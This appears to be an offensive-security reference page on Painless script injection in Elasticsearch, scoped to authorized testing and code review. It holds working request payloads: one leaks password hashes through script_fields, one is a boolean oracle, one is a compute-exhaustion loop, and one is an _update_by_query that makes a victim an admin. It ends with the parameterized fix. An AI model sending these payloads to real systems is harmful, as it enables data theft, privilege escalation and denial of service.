Script injection

Painless is Elasticsearch's default scripting language, reachable through script_fields, script queries, script-based sorting, function_score, and _update / _update_by_query. When an application builds a script by interpolating user input into the script source string rather than passing it as a bound parameter, the input becomes executable Painless, giving an attacker computed data disclosure and code execution within the scripting sandbox.

Scope. For authorized penetration tests, CTF labs, and code review of systems you own or are contracted to assess.

Scripting must be enabled for these sinks. Stored and inline Painless are on by default in many deployments, though script.allowed_types / script.allowed_contexts may restrict them.

Vulnerable pattern

const body = {
  query: { match_all: {} },
  script_fields: {
    calc: { script: { source: `doc['price'].value * ${userInput}` } }
  }
};

The intended userInput is a multiplier, but it is concatenated into source. A value of 0; return doc['ssn'].value (or any valid Painless expression) is parsed and run.

Data disclosure via computed fields

The simplest abuse returns fields the query was never meant to expose, computed per hit:

{
  "query": { "match_all": {} },
  "script_fields": {
    "leak": { "script": { "source": "doc['password_hash'].value" } }
  }
}

Script source that references doc['field'] reads any indexed field with doc_values, bypassing _source filtering the application relies on.

Scripted conditions as an oracle

A script query evaluates a boolean per document. Injected source turns the search into an inference primitive:

{
  "query": {
    "script": {
      "script": {
        "source": "doc['role'].value == 'admin' && doc['secret'].value.length() > 40"
      }
    }
  }
}

Hit-count differences leak attributes of documents without returning them directly.

Reaching the sandbox

Painless is sandboxed, but injected source can still exercise the allowed API surface: string and collection manipulation, reflection-limited calls, and regex. Catastrophic regex or large-loop source causes compute exhaustion:

int x = 0; for (int i = 0; i < 100000000; i++) { x += i; } return x;

Where the deployment exposes additional contexts or an older build with a weaker allow-list, the same interpolation point is the foothold for sandbox-escape chains that reach Runtime or filesystem APIs; the injection mechanism (unbound source) is identical regardless of how far the sandbox can be pushed.

Injection through updates

_update_by_query runs Painless with write access to ctx._source, so an interpolated update script mutates documents:

POST /users/_update_by_query
{
  "query": { "term": { "name": "victim" } },
  "script": { "source": "ctx._source.role = 'admin'" }
}

If the application builds the source from input (for example a "set field X to Y" feature), the attacker overwrites arbitrary fields on arbitrary documents.

The parameterization tell

Safe code passes values through params ("source": "doc['price'].value * params.m", "params": { "m": userInput }) so input never reaches source. Offensively, the indicator is any script.source containing string concatenation, template literals, or format placeholders fed from request data.

References

Cookie Consent

We use cookies to enhance your experience. Learn more